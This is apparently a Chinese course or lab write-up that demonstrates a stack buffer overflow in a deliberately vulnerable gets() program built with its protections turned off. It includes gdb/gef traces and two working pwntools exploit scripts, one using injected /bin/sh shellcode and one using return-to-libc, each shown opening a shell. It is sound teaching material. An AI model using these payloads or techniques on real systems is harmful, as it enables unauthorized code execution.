stackoverflow

栈溢出

1. 存在漏洞的函数

1
2
3
4
5
6
7
8
9
10
11
12
stack_over.c
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出,历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。

2. 关闭相关保护机制

gcc 编译指令中,-m32 指的是生成 32 位程序,-g方便gdb调试。

  1. 关闭栈溢出保护 -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。
  2. 关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有–enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie
  3. 关闭ASLR # echo 0 > /proc/sys/kernel/randomize_va_space(需要在root环境下)。Linux 平台下还有地址空间分布随机化(ASLR)的机制,简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有
    • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
    • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
    • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
  4. 关闭DEP 通过-z execstack关闭数据执行保护。

编译:

1
challenge@ubuntu:~/Desktop/Link to homework2/bufover$ gcc -m32 -g -fno-stack-protector -z execstack stack_over.c -o stack_over
stack_over.c: In function ‘vulnerable’:
stack_over.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
   gets(s);
   ^
/tmp/ccMXMZDo.o: In function `vulnerable':
stack_over.c:(.text+0x27): warning: the `gets' function is dangerous and should not be used.

编译成功后,可以使用 checksec 工具检查编译出的文件:

1
gef➤  checksec stack_over
[+] checksec for '/media/psf/Home/jn/spring-course/OS_security/homework2/bufover/stack_over'
Canary                        : No
NX                            : No
PIE                           : No
Fortify                       : No
RelRO                         : Partial

3. 分析程序溢出点

查看代码段信息

1
2
$ objdump -d stack_over
0804843b <success>: 804843b: 55 push %ebp 804843c: 89 e5 mov %esp,%ebp 804843e: 83 ec 08 sub $0x8,%esp 8048441: 83 ec 0c sub $0xc,%esp 8048444: 68 10 85 04 08 push $0x8048510 8048449: e8 c2 fe ff ff call 8048310 <puts@plt> 804844e: 83 c4 10 add $0x10,%esp 8048451: 90 nop 8048452: c9 leave 8048453: c3 ret 08048454 <vulnerable>: 8048454: 55 push %ebp 8048455: 89 e5 mov %esp,%ebp 8048457: 83 ec 18 sub $0x18,%esp 804845a: 83 ec 0c sub $0xc,%esp 804845d: 8d 45 ec lea -0x14(%ebp),%eax 8048460: 50 push %eax 8048461: e8 9a fe ff ff call 8048300 <gets@plt> 8048466: 83 c4 10 add $0x10,%esp 8048469: 90 nop 804846a: c9 leave 804846b: c3 ret 0804846c <main>: 804846c: 8d 4c 24 04 lea 0x4(%esp),%ecx 8048470: 83 e4 f0 and $0xfffffff0,%esp 8048473: ff 71 fc pushl -0x4(%ecx) 8048476: 55 push %ebp 8048477: 89 e5 mov %esp,%ebp 8048479: 51 push %ecx 804847a: 83 ec 04 sub $0x4,%esp 804847d: e8 d2 ff ff ff call 8048454 <vulnerable> 8048482: b8 00 00 00 00 mov $0x0,%eax 8048487: 83 c4 04 add $0x4,%esp 804848a: 59 pop %ecx 804848b: 5d pop %ebp 804848c: 8d 61 fc lea -0x4(%ecx),%esp 804848f: c3 ret

可以看到,在0x8048461调用gets函数,开启gdb调试,在gets函数下断点单步调试,观察程序运行

1
2
$ gdb stack_over
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
gef➤ b *0x8048461 Breakpoint 1 at 0x8048461: file stack_over.c, line 6. gef➤ r Starting program: /media/psf/Home/jn/spring-course/OS_security/homework2/bufover/stack_over Breakpoint 1, 0x08048461 in vulnerable () at stack_over.c:6 6 gets(s); ──────────────────────────────────────────── code:x86:32 ──── 0x8048459 <vulnerable+5> sbb BYTE PTR [ebx+0x458d0cec], al 0x804845f <vulnerable+11> in al, dx 0x8048460 <vulnerable+12> push eax → 0x8048461 <vulnerable+13> call 0x8048300 <gets@plt> ↳ 0x8048300 <gets@plt+0> jmp DWORD PTR ds:0x804a00c 0x8048306 <gets@plt+6> push 0x0 0x804830b <gets@plt+11> jmp 0x80482f0 0x8048310 <puts@plt+0> jmp DWORD PTR ds:0x804a010 0x8048316 <puts@plt+6> push 0x8 0x804831b <puts@plt+11> jmp 0x80482f0 ──────────────────────────────────── arguments (guessed) ──── gets@plt ( [sp + 0x0] = 0xffffcf94 → 0x00000003, [sp + 0x4] = 0xf7fb4000 → 0x001afdb0, [sp + 0x8] = 0xf7fb2244 → 0xf7e1c020 → call 0xf7f21289 ) ────────────────────────────────── source:stack_over.c+6 ──── 1 #include <stdio.h> 2 #include <string.h> 3 void success() { puts("You Hava already controlled it."); } 4 void vulnerable() { 5 char s[12]; // s=0xffffcf94 → 0x00000003 → 6 gets(s); 7 } 8 int main(int argc, char **argv) { 9 vulnerable(); 10 return 0; 11 }

程序在call 0x8048300 <gets@plt>停下,ni指令单步执行,输入30个a测试,继续调试到 0x804846b <vulnerable+23> ret,观察寄存器和栈。

ret 指令相当于 pop eip。即,首先将 esp 指向的 4 字节内容读取并赋值给 eip,然后 esp 加上 4 字节指向栈的下一个位置。

因此esp指向的4字节0xffffcfac的内容“aaaa”(0x61616161)将赋值给eip,[!] Cannot disassemble from $PC.

1
2
gef➤  ni
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa          
─────────────────────────────────────────────────────────────
gef➤  ni
7	}
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────── registers ────
$eax   : 0xffffcf94  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
$ebx   : 0x0       
$ecx   : 0xf7fb45a0  →  0xfbad2288
$edx   : 0xf7fb587c  →  0x00000000
$esp   : 0xffffcf90  →  0x00000001
$ebp   : 0xffffcfa8  →  "aaaaaaaaaa"
$esi   : 0xf7fb4000  →  0x001afdb0
$edi   : 0xf7fb4000  →  0x001afdb0
$eip   : 0x08048469  →  <vulnerable+21> nop 
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────── stack ────
0xffffcf90│+0x0000: 0x00000001	 ← $esp
0xffffcf94│+0x0004: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0xffffcf98│+0x0008: "aaaaaaaaaaaaaaaaaaaaaaaaaa"
0xffffcf9c│+0x000c: "aaaaaaaaaaaaaaaaaaaaaa"
0xffffcfa0│+0x0010: "aaaaaaaaaaaaaaaaaa"
0xffffcfa4│+0x0014: "aaaaaaaaaaaaaa"
0xffffcfa8│+0x0018: "aaaaaaaaaa"	 ← $ebp
0xffffcfac│+0x001c: "aaaaaa"
──────────────────────────────────────────── code:x86:32 ────
    0x8048460 <vulnerable+12>  push   eax
    0x8048461 <vulnerable+13>  call   0x8048300 <gets@plt>
    0x8048466 <vulnerable+18>  add    esp, 0x10
 →  0x8048469 <vulnerable+21>  nop    
    0x804846a <vulnerable+22>  leave  
    0x804846b <vulnerable+23>  ret    
    0x804846c <main+0>         lea    ecx, [esp+0x4]
    0x8048470 <main+4>         and    esp, 0xfffffff0
    0x8048473 <main+7>         push   DWORD PTR [ecx-0x4]
``` 这里可以看到栈的结构,缓冲区从0xffffcf94开始,ebp 在偏移0x14之后的0xffffcfa8位置,ret 在ebp之后的4个字节0xffffcfac位置。
                   +-----------------+
                   |     retaddr     |
ret, 0xffffcfac--->+-----------------+
                   |     saved ebp   |
ebp, 0xffffcfa8--->+-----------------+
                   |                 |
                   |                 |
                   |                 |
                   |                 |
                   |                 |
                   |                 |
   s, 0xffffcf94-->+-----------------+
1

```
gef➤  ni
────────────────────────────────────────────── registers ────
$eax   : 0xffffcf94  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
$ebx   : 0x0       
$ecx   : 0xf7fb45a0  →  0xfbad2288
$edx   : 0xf7fb587c  →  0x00000000
$esp   : 0xffffcfac  →  "aaaaaa"
$ebp   : 0x61616161 ("aaaa"?)
$esi   : 0xf7fb4000  →  0x001afdb0
$edi   : 0xf7fb4000  →  0x001afdb0
$eip   : 0x0804846b  →  <vulnerable+23> ret 
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────── stack ────
0xffffcfac│+0x0000: "aaaaaa"	 ← $esp
0xffffcfb0│+0x0004: 0xf7006161 ("aa"?)
0xffffcfb4│+0x0008: 0xffffcfd0  →  0x00000001
0xffffcfb8│+0x000c: 0x00000000
0xffffcfbc│+0x0010: 0xf7e1c637  →  <__libc_start_main+247> add esp, 0x10
0xffffcfc0│+0x0014: 0xf7fb4000  →  0x001afdb0
0xffffcfc4│+0x0018: 0xf7fb4000  →  0x001afdb0
0xffffcfc8│+0x001c: 0x00000000
──────────────────────────────────────────── code:x86:32 ────
    0x8048462 <vulnerable+14>  call   0x10c4:0x83fffffe
    0x8048469 <vulnerable+21>  nop    
    0x804846a <vulnerable+22>  leave  
 →  0x804846b <vulnerable+23>  ret    
[!] Cannot disassemble from $PC

继续执行发现[!] Cannot access memory at address 0x616161610x61616161内存地址不能被访问,程序崩溃。可以看到,执行ret指令之后esp加上4字节指向0xffffcfb0。

1
gef➤  ni
0x61616161 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────── registers ────
$eax   : 0xffffcf94  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
$ebx   : 0x0       
$ecx   : 0xf7fb45a0  →  0xfbad2288
$edx   : 0xf7fb587c  →  0x00000000
$esp   : 0xffffcfb0  →  0xf7006161 ("aa"?)
$ebp   : 0x61616161 ("aaaa"?)
$esi   : 0xf7fb4000  →  0x001afdb0
$edi   : 0xf7fb4000  →  0x001afdb0
$eip   : 0x61616161 ("aaaa"?)
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────── stack ────
0xffffcfb0│+0x0000: 0xf7006161 ("aa"?)	 ← $esp
0xffffcfb4│+0x0004: 0xffffcfd0  →  0x00000001
0xffffcfb8│+0x0008: 0x00000000
0xffffcfbc│+0x000c: 0xf7e1c637  →  <__libc_start_main+247> add esp, 0x10
0xffffcfc0│+0x0010: 0xf7fb4000  →  0x001afdb0
0xffffcfc4│+0x0014: 0xf7fb4000  →  0x001afdb0
0xffffcfc8│+0x0018: 0x00000000
0xffffcfcc│+0x001c: 0xf7e1c637  →  <__libc_start_main+247> add esp, 0x10
──────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616161

4. 构造payload

分析:由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 shellcode_addr(0xffffcfb0),并且在0xffffcfb0位置写上shellcode,那么在执行完ret指令之后 就会转到shellcode执行。前面又知道了ret相对偏移位置,因此 可以构造payload 'a' * 0x14 + 'bbbb' + p32(shell_addr) + shellcode。此时栈的结构是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                         +-----------------+
| |
| |
| |
| shellcode |
shellcode, 0xffffcfb0--->+-----------------+
| 0xffffcfb0 |
ret, 0xffffcfac--->+-----------------+
| bbbb |
ebp, 0xffffcfa8--->+-----------------+
| |
| |
| |
| |
| |
| |
s, 0xffffcf94-->+-----------------+

但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0xffffcfb0 在内存中的形式是

\xb0\xcf\xff\xff

但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用 pwntools 了 ,这里利用 pwntools 的代码如下:

1
2
exp_shell.py 
##coding=utf8 from pwn import * ## 构造与程序交互的对象 sh = process('./stack_over') shell_addr = 0xffffcfb0 shellcode = '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42' ## 构造payload payload = 'a' * 0x14 + 'bbbb' + p32(shell_addr) + shellcode print (p32(shell_addr)) ## 向程序发送字符串 raw_input() sh.sendline(payload) ## 将代码交互转换为手工交互 sh.interactive()

shellcode使用的网上现有的,功能是开启一个shell,如下可以看到测试成功。

1
$ python exp_shell.py 
[+] Starting local process './stack_over': pid 25993
����

[*] Switching to interactive mode
$ whoami
challenge
$ exit
[*] Got EOF while reading in interactive
$ 
[*] Process './stack_over' stopped with exit code 0 (pid 25993)
[*] Got EOF while sending in interactive

5. return2libc

如果开启DEP,发现此攻击并不能成功,因为shellcode是在栈上,是不能执行的。现在我们把DEP打开,依然关闭stack protector和ASLR。编译方法如下:

$ gcc -m32 -g -fno-stack-protector stack_over.c -o stack_over1

1
gef➤  checksec
[+] checksec for '/media/psf/Home/jn/spring-course/OS_security/homework2/bufover/stack_over1'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

我们知道stack_over调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。

如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。

1
2
gef➤  b main
Breakpoint 1 at 0x804847d: file stack_over.c, line 9.
gef➤  r
Starting program: /media/psf/Home/jn/spring-course/OS_security/homework2/bufover/stack_over 

gef➤  p system
$3 = {<text variable, no debug info>} 0xf7e3e940 <system>
gef➤ p exit $1 = {<text variable, no debug info>} 0xf7e327b0 <exit> gef➤ p __libc_start_main $4 = {<text variable, no debug info>} 0xf7e1c540 <__libc_start_main> gef➤ find 0xf7e1c540, +2200000, "/bin/sh" 0xf7f5d02b warning: Unable to access 16000 bytes of target memory at 0xf7fb6db3, halting search. 1 pattern found. gef➤ x/s 0xf7f5d02b 0xf7f5d02b: "/bin/sh"

我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过p system这个命令来获取system函数在内存中的位置,通过p exit这个命令来获取exit函数在内存中的位置,随后我们可以通过p __libc_start_main这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找"/bin/sh"这个字符串。这样我们就得到了system的地址0xf7e3e940、exit的地址0xf7e327b0以及"/bin/sh"的地址0xf7f5d02b.

构造payload

1
2
3
exp_shell1.py 

##coding=utf8 from pwn import * ## 构造与程序交互的对象 sh = process('./stack_over1') system_addr = 0xf7e3e940 exit_addr = 0xf7e327b0 binsh_addr = 0xf7f5d02b ## 构造payload payload = 'a' * 0x14 + 'bbbb' + p32(system_addr) + p32(exit_addr) + p32(binsh_addr) ## 向程序发送字符串 raw_input() sh.sendline(payload) ## 将代码交互转换为手工交互 sh.interactive()

测试成功:

1
$ python exp_shell1.py 
[+] Starting local process './stack_over1': pid 31640

[*] Switching to interactive mode
$ whoami
challenge

实验平台

1
2
3
4
$ uname -a
Linux ubuntu 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

$ gdb --version GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
gdb 插件 gef
感谢支持~